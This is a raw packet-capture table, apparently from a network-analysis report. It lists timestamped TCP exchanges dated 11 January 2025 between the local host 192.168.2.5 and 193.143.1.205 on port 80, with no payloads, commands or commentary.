Jan 11, 2025 06:08:36.589930058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.590018034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590029955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590042114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590066910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.590096951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.590101004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590114117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590126991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590140104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590177059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.590214014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.590236902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590250015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590260983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590272903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.590287924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.590303898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.621572018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621594906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621608973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621622086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621639013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621646881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.621658087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621673107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621681929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.621685982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621701002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621702909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.621721983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621723890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.621736050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621778011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.621879101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621891975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621905088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.621983051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622004032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622016907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622029066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622040987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622052908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622145891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.622145891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.622145891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.622145891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.622145891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.622287035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622299910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622313023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622344971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.622383118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622395992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622409105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622423887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622432947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.622442007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622451067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.622456074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622488976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.622885942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622898102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622905970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622911930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622920036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622925997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.622934103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623002052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.623053074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623066902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623080969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623092890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623104095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.623107910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623121023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623136044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623141050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.623150110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623166084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.623197079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.623594046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623614073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623625994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623639107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623652935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623719931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623732090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623745918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623758078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623770952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623856068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623868942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623881102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623888016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623899937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623913050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623938084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.623956919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623970032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.623972893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.624021053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.624536991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.624551058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.624562979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.624583006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.624593019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.624596119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.624603987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.624660015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.645572901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.645586967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.645598888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.645610094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.645623922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.645636082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.645648956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.645663023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.645708084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.645742893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.657180071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.677386045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677463055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677474976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677490950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677505016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677505970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.677517891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677530050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677535057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.677542925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677609921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.677609921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.677640915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677654028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677675009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677685976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677695036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.677699089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677721024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.677772999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677784920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677798033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677815914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.677844048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677844048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.677865028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677876949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.677915096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678013086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678025007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678035975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678061008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678131104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678158998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678174019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678194046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678199053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678204060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678205013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678214073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678222895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678272963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678345919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678390980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678483009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678503990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678517103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678528070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678540945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678549051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678555012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678563118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678569078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678590059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678683043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678695917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678708076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678730011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678750038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678762913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678771019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678774118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678802967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.678973913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678985119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.678996086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.679018974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.679048061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.685312986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.710568905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710587978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710608006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710619926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710630894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710643053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710654974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710668087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710680008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710694075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710705042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710716009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710726976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.710737944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.710738897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710745096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.710752964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710766077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710776091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.710800886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.710886955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710906029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710930109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.710933924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710947037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710963011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710969925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.710975885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.710988998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711004972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711023092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711031914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711036921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711097956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711170912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711184025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711195946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711209059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711221933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711249113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711297989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711311102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711333036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711359024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711380959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711394072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711405993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711424112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711445093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711620092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711632967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711651087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711662054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711673975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711683989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711685896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711700916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711704969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711714983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711729050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711760044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711806059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711817980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711829901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711843014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711853027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.711869001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.711882114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.712096930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712116957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712136030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712143898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.712148905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712162971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712174892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712186098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.712188959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712225914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.712254047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.712275028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712286949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712297916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712311029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712318897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.712322950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712335110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712347984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712354898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712364912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.712368011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.712390900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.734270096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.734282017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.734292030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.734304905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.734311104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.734318972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.734344006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.734407902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.734409094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.734422922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.734447956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.767563105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767585039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767606020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767616987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767628908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767640114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767647982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767659903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767674923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767688036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767709017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.767724991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.767760992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.767779112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767791033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767802954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767822027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767823935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.767836094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767848015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767851114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.767860889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767873049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767884970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.767915964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.767923117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767935991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767956972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767970085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767976046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.767982960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.767999887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768029928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768136024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768147945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768158913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768182993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768191099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768203020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768214941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768228054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768235922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768259048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768313885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768326044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768353939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768364906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768377066 CET	49704	80	192.168.2.5	193.143.1.205
